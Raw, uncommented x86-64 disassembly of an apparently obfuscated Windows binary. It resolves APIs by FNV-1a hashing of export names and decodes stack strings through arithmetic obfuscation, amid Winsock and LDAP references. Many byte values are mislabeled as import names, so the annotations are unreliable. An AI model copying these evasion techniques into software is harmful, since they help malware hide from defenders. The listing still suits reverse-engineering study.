mov r11d, dword [r10 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401eb7fc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401eb7f1
cmp edx, r13d
je 0x1401eb919
test r9d, r9d
jne 0x1401eb7dc
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r14
je 0x1401eb828
cmp qword [rdi + 0x30], rbx
jne 0x1401eb6dc
mov r15, rbx
mov qword [0x1404dbbb8], r15
mov byte [rbp + 0x460], Ordinal_211
mov byte [rbp + 0x461], WSASetLastError
mov byte [rbp + 0x462], 0xe6
mov byte [rbp + 0x463], WSASetLastError
mov byte [rbp + 0x464], 0xf0
mov byte [rbp + 0x465], WSAGetLastError
mov byte [rbp + 0x466], 0xfb
mov byte [rbp + 0x467], 0x67
mov byte [rbp + 0x468], 0xea
mov byte [rbp + 0x469], 0x65
mov byte [rbp + 0x46a], Ordinal_200
mov byte [rbp + 0x46b], 0x63
mov byte [rbp + 0x46c], 0x60
mov byte [rbp + 0x46d], 0x61
xor eax, eax
mov qword [rbp + 0x46e], rax
mov dword [rbp + 0x476], eax
movabs rsi, 0x7f6e648b120d3452
mov bl, byte [rsp + 0x50]
lea r14d, [rax + 0x23]
xor r13d, r13d
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r11, qword [rax]
mov r10, r13
mov r12d, 1
cmp r10, 0x1a
jae 0x1401ec486
movzx r9d, byte [rbp + r10 + 0x460]
mov r8, r9
cmp rdi, r10
ja 0x1401ec47d
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401eb990
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r9
add rbx, rcx
sub bl, 0x3e
jmp 0x1401eb9bd
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r15d, dword [r8 + rdx*4]
add r15, rbx
cmp r15, r10
jbe 0x1401eb82b
lea rcx, [rax + r10]
cmp r15, rcx
jae 0x1401eb82b
mov eax, 0x811c9dc5
mov esi, eax
mov r13d, eax
jmp 0x1401eb963
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r15, r12
mov al, byte [r15]
cmp al, 0x2e
jne 0x1401eb955
add r15, r12
xor ebx, ebx
jmp 0x1401eb981
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
add r15, r12
mov al, byte [r15]
test al, al
jne 0x1401eb971
mov rdi, qword [r14]
jmp 0x1401eb816
je 0x1401ec3f8
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401ec3c5
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401ec37e
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401ec356
cmp r11, r10
ja 0x1401ec474
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x1401eb9ee
movabs rcx, 0x740e3f687b154aba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
jmp 0x1401eba1e
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401ec30b
cmp rdi, rcx
je 0x1401ec2e8
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401ec2d4
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401ec2b0
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x1401ebf6c
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x1401ebf58
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401ebf36
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x1401ebf22
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401ebf00
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x1401ebeec
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401ebeca
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x1401ebeb6
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x1401ebe94
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401ebe6e
lea rax, [r11 + 0x1000]
cmp rdi, rax
je 0x1401eba2b
lea rdi, [r11 + 0x61]
lea r11, [rdi + 6]
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x1401ec450
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x1401ec42e
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1401ebc2b
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x1401ebc09
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x1401ebbe3
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x1401ebdd1
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x1401ebdc0
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x1401ebd78
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401ebd4a
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401eba2b
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x200]
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401ebd36
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x1401ebd14
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x1401ebcf3
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401ebcd1
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401ebcbd
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x1401ebc9b
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x1401ebc87
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401ebc65
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x1401ebc51
lea rax, [r11 + 1]
cmp rdi, rax
ja 0x1401eba2b
lea rdi, [r11 + 2]
lea r11, [rdi + 0x28]
jmp 0x1401eba2b
movabs rdx, 0x30f09782cd2b6886
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401eba1e
movabs rcx, 0x3213ce6ca910ffe2
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2e
jmp 0x1401eb9bd
movabs rdx, 0x3337055684f6973e
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401eb8e4
movabs rdx, 0xa071fb43d8aa55d0
mov ecx, Ordinal_41
jmp 0x1401ec31a
movabs rcx, 0xa195322db48fed2c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x34
jmp 0x1401ec373
movabs rdx, 0xa2b8691790758488
mov ecx, 0x24
jmp 0x1401ec2f7
movabs rcx, 0xa3dba0016c5b1be4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3c
jmp 0x1401ec39b
movabs rdx, 0xa4fed6eb4840b340
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401ec3d4
movabs rcx, 0xa6220dd524264a9c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
jmp 0x1401ec3e9
movabs rdx, 0xa74544bf000be1f8
mov ecx, Ordinal_32
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401ec23f
movabs rcx, 0xa8687ba8dbf17954
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x1401ec278
movabs rdx, 0xa98bb292b7d710b0
mov ecx, Ordinal_27
jmp 0x1401ebe7d
movabs rdx, 0x2c63bbdb5d950b16
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov byte [rbp + r10 + 0x460], bl
jmp 0x1401ec426
movabs rcx, 0x2d86f2c5397aa272
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
cmp r11, 2
jb 0x1401ebd6b
movabs rcx, 0xc5fc0f693142d8ac
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x68]
jmp 0x1401ec32c
movabs rdx, 0x2eaa29af156039ce
mov ecx, Ordinal_50
jmp 0x1401ebe18
movabs rcx, 0x2fcd6098f145d12a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
lea rax, [r11 + rdi]
cmp rax, 0x61
je 0x1401ec21b
lea rax, [r11 + 0x7a]
cmp rdi, rax
jbe 0x1401ec072
movabs rdx, 0x5d4df5234d25778a
mov ecx, Ordinal_32
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov eax, 8
cmp rdi, rax
jae 0x1401ec1f0
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x1401ec140
movabs rdx, 0xd15c348bc83ac244
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ebd95
movabs rdx, 0xb8557c72e27fc05c
mov ecx, 0x3e
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ec417
movabs rcx, 0xb978b35cbe6557b8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401ec278
movabs rdx, 0xba9bea469a4aef14
mov ecx, Ordinal_60
jmp 0x1401ebd02
movabs rcx, 0xbbbf213076308670
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x1401ec3e9
movabs rdx, 0xbce2581a52161dcc
mov ecx, gethostname
jmp 0x1401ec3d4
movabs rcx, 0xbe058f042dfbb528
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x1401ec39b
movabs rdx, 0xbf28c5ee09e14c84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401ec2f7
movabs rcx, 0xc04bfcd7e5c6e3e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x1401ec373
movabs rdx, 0xc16f33c1c1ac7b3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1401ec31a
lea rax, [r11 + 0x28]
cmp rdi, rax
jae 0x1401ebf8e
lea rcx, [r10 + rsi]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
jmp 0x1401ebdee
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401ebfb9
movabs rcx, 0xe81c7ed0f62a9574
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x1401ec417
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401ebfe8
movabs rdx, 0xe6f947e71a44fe18
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ec278
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401ec013
movabs rcx, 0xe38fa32986943804
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x1401ec3e6
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401ec042
movabs rdx, 0xe26c6c3faaaea0a8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401ec39b
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x1401ebdee
movabs rdx, 0xdf02c78216fdda94
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0xc
add bl, dl
jmp 0x1401ec32c
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401ec09d
movabs rcx, 0x5c2abe39713fe02e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x1401ec32c
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401ec0c9
movabs rcx, 0x59e45065b974b176
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x3a
jmp 0x1401ec376
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401ec0e6
movabs rdx, 0x567aaba825c3eb62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x1401ec2bd
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401ec111
movabs rcx, 0x555774be49de5406
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x1401ec244
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x1401ebe2a
movabs rcx, 0x531106ea9213254e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x22
jmp 0x1401ec417
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401ec16b
movabs rcx, 0xd038fda1ec552ae8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x58
jmp 0x1401ec417
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401ec196
movabs rcx, 0xcbac21fa7cbecd78
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x48
jmp 0x1401ec3e6
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401ec1bd
movabs rdx, 0xca88eb10a0d9361c
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401ec211
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401ebd95
movabs rdx, 0xc8427d3ce90e0764
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401ec373
movabs rdx, 0xc4d8d87f555d4150
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x460]
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r9b
jmp 0x1401ec39b
movabs rdx, 0xc3b5a1957977a9f4
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x460]
add bl, dl
add bl, r9b
movabs rdx, 0x432406208b84de46
add rdx, r10
mov al, r9b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x460], al
add r11, r12
add rax, r11
sub r10, rax
movabs rcx, 0xc2926aab9d921298
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x28
add r9b, cl
mov byte [rbp + r10 + 0x460], r9b
add rdi, r12
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401ec417
movabs rdx, 0x6d3af5ed53b3be92
mov ecx, r12d
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ec3e9
movabs rdx, 0x6e5e2cd72f9955ee
mov ecx, 0x3f
jmp 0x1401ec3d4
movabs rdx, 0x70a49aaae76484a6
mov ecx, Ordinal_60
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ec376
movabs rdx, 0x72eb087e9f2fb35e
mov ecx, gethostname
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rdx, 0x456a73f443500cfe
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x460], cl
jmp 0x1401ec373
movabs rcx, 0x7654ad3c32e07972
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
add r11, r12
sub r10, r12
jmp 0x1401ec426
movabs rcx, 0x789b1b0feaaba82a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
movabs rdx, 0x44473d0a676a75a2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 0x6e
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x460], cl
jmp 0x1401ec3e6
movabs rdx, 0x79be51f9c6913f86
mov ecx, Ordinal_45
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401ec426
movabs rdx, 0x7e4b2da136279cf6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movzx eax, byte [rbp + r10 + 0x460]
add rax, r11
add r10, rax
add r10, r12
jmp 0x1401eb8d1
movabs rcx, 0x345a3c4060dc2e9a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x36
jmp 0x1401eb8c8
movabs rdx, 0x357d732a3cc1c5f6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401eb8b8
lea rsi, [rbp + 0x15f2b78]
jmp 0x1401ec48d
lea rsi, [rbp + 0x16c5fca]
jmp 0x1401ec48d
lea rsi, [rbp + 0x460]
mov byte [rbp + 0x1110], Ordinal_143
mov byte [rbp + 0x1111], Ordinal_79
mov byte [rbp + 0x1112], Ordinal_217
mov byte [rbp + 0x1113], 0x43
mov byte [rbp + 0x1114], Ordinal_217
mov byte [rbp + 0x1115], 0x41
mov byte [rbp + 0x1116], 0xe3
mov byte [rbp + 0x1117], 0x47
mov byte [rbp + 0x1118], Ordinal_211
mov byte [rbp + 0x1119], 0x45
mov byte [rbp + 0x111a], 0x9b
mov byte [rbp + 0x111b], Ordinal_60
mov byte [rbp + 0x111c], Ordinal_217
mov byte [rbp + 0x111d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x111e], Ordinal_143
mov byte [rbp + 0x111f], 0x3f
mov byte [rbp + 0x1120], 0xaa
mov byte [rbp + 0x1121], 0x3d
mov byte [rbp + 0x1122], 0xa1
mov byte [rbp + 0x1123], gethostname
mov byte [rbp + 0x1124], 0xa4
mov byte [rbp + 0x1125], Ordinal_50
mov byte [rbp + 0x1126], __WSAFDIsSet
mov byte [rbp + 0x1127], Ordinal_60
mov byte [rbp + 0x1128], __WSAFDIsSet
mov byte [rbp + 0x1129], gethostname
mov byte [rbp + 0x112a], 0xbe
mov byte [rbp + 0x112b], Ordinal_45
mov byte [rbp + 0x112c], 0xb1
mov byte [rbp + 0x112d], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x112e], 0xbd
mov byte [rbp + 0x112f], Ordinal_50
mov byte [rbp + 0x1130], 0xbe
mov byte [rbp + 0x1131], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x1132], Ordinal_200
mov byte [rbp + 0x1133], r14b
mov byte [rbp + 0x1134], 0xfd
mov byte [rbp + 0x1135], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x1136], Ordinal_200
mov byte [rbp + 0x1137], Ordinal_45
mov byte [rbp + 0x1138], Ordinal_143
mov byte [rbp + 0x1139], Ordinal_41
mov byte [rbp + 0x113a], 0xfa
mov byte [rbp + 0x113b], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x113c], 0xdd
mov byte [rbp + 0x113d], Ordinal_27
mov byte [rbp + 0x113e], 0x88
mov byte [rbp + 0x113f], Ordinal_32
mov byte [rbp + 0x1140], Ordinal_143
mov byte [rbp + 0x1141], Ordinal_32
mov byte [rbp + 0x1142], 0x81
mov byte [rbp + 0x1143], reloc.WS2_32.dll_send
mov byte [rbp + 0x1144], 0x86
mov byte [rbp + reloc.WS2_32.dll_recvfrom45], 0x11
mov byte [rbp + 0x1146], 0xf6
mov byte [rbp + 0x1147], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1148], Ordinal_211
mov byte [rbp + 0x1149], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x114a], __WSAFDIsSet
mov byte [rbp + 0x114b], ntohl
mov byte [rbp + 0x114c], 0xad
mov byte [rbp + 0x114d], 9
mov byte [rbp + 0x114e], 0x84
mov byte [rbp + 0x114f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1150], 0xad
mov byte [rbp + 0x1151], reloc.WS2_32.dll_listen
mov byte [rbp + 0x1152], __WSAFDIsSet
mov byte [rbp + 0x1153], 3
mov byte [rbp + 0x1154], 0x99
mov byte [rbp + 0x1155], r12b
mov byte [rbp + 0x1156], __WSAFDIsSet
mov byte [rbp + 0x1157], 7
mov byte [rbp + 0x1158], 0x9f
mov byte [rbp + 0x1159], 5
mov byte [rbp + 0x115a], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x115b], 0xfb
mov byte [rbp + 0x115c], 0x44
mov byte [rbp + 0x115d], 0xf9
mov byte [rbp + 0x115e], WSASetLastError
mov byte [rbp + 0x115f], 0xff
mov byte [rbp + 0x1160], 0x5d
mov byte [rbp + 0x1161], 0xfd
mov byte [rbp + 0x1162], 0x56
mov byte [rbp + 0x1163], 0xf3
mov byte [rbp + 0x1164], 0x55
mov byte [rbp + 0x1165], 0xf1
mov byte [rbp + 0x1166], 0x60
mov byte [rbp + 0x1167], 0xf7
mov byte [rbp + 0x1168], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x1169], 0xf5
mov byte [rbp + 0x116a], 0x47
mov byte [rbp + 0x116b], 0xeb
mov byte [rbp + 0x116c], 0xe8
mov byte [rbp + 0x116d], 0xe9
xor eax, eax
mov dword [rbp + 0x116e], eax
mov word [rbp + 0x1172], ax
mov byte [rbp + 0x1174], al
movabs r14, 0xabd5bd3eff80feb6
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r11, r13
cmp r11, 0x65
jae 0x1401ecee5
movzx r9d, byte [rbp + r11 + 0x1110]
mov r8, r9
cmp rdi, r11
ja 0x1401ecedc
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401ec796
lea rcx, [r11 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 6
jmp 0x1401ec7b6
je 0x1401ece4f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401ecdc4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401ecd9b
cmp r10, r11
ja 0x1401eced3
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1401ec7ea
movabs rcx, 0x1888862af594e4ee
add rcx, r11
mov al, r9b
and al, cl
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, r9b
add dl, cl
jmp 0x1401ec820
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401ecd50
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401ecd30
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401ecd0e
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401eccde
mov dl, bl
lea rax, [rdi + r10]
cmp rax, r11
jbe 0x1401ec9a3
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401ec982
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401ec95f
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1401ec93d
lea rdi, [r10 + 0x41]
lea r10, [rdi + 1]
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401ecead
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1401ece87
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401ec8b3
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401ec91b
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401ec8fa
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401ec8d9
lea rdi, [r10 + 8]
lea r10, [rdi + 1]
jmp 0x1401ec82d
movabs rdx, 0x9db6cc38bd0651fa
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ec768
movabs rdx, 0xb63f5263b29b36e8
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x58
jmp 0x1401eccd7
movabs rdx, 0x5e93d7e5b399397c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x64
jmp 0x1401ecb97
movabs rcx, 0x6e85d67b4973c10
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x70
jmp 0x1401ece70
movabs rcx, 0x852e460dc7716d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401ecdbc
movabs rcx, 0x2d82cb8fc86f6fa0
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x60
jmp 0x1401ecd96
movabs rdx, 0xd5d75111c96d7234
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x6c
jmp 0x1401ecd6c
lea rax, [r10 + 0x1000]
cmp rdi, rax
jae 0x1401eca69
lea rcx, [r11 + r14]
mov al, r9b
and al, cl
mov edx, 3
sub dl, al
add dl, dl
add dl, r9b
add dl, cl
lea rax, [rdi + r10]
cmp rax, 0x41
je 0x1401eccb0
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401ecaf1
movabs rdx, 0xf1ee1802e1bcb15e
add rdx, r11
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r9b
cmp rdi, 0x41
jae 0x1401ecc51
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401ecb9e
movabs rdx, 0xa769e2dd751964c
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub dl, 0x14
add dl, cl
cmp r10, 0x41
jb 0x1401ecc42
movabs rcx, 0x77296719cd657c84
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x38]
jmp 0x1401ecd6e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401eca94
movabs rcx, 0x31110c55eb29c9dc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x1401ece70
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401ecabe
movabs rdx, 0xe0680151e92dc4b4
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401eccd4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401ec9ca
movabs rdx, 0x3f15eb49e535ba64
mov ecx, Ordinal_35
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ecdbc
jne 0x1401ecb19
movabs rdx, 0x49999280e0beaeca
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ecd6e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401ecb44
movabs rcx, 0xf8f0877cdec2a9a2
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6e
jmp 0x1401ecdbc
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401ecb6e
movabs rdx, 0x579e7174daca9f52
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
jmp 0x1401eccd7
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401eca05
movabs rdx, 0xaf49ebf2d9cc9cbe
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
jmp 0x1401ece1a
jne 0x1401ecbc3
movabs rcx, 0x622218abd65393b8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
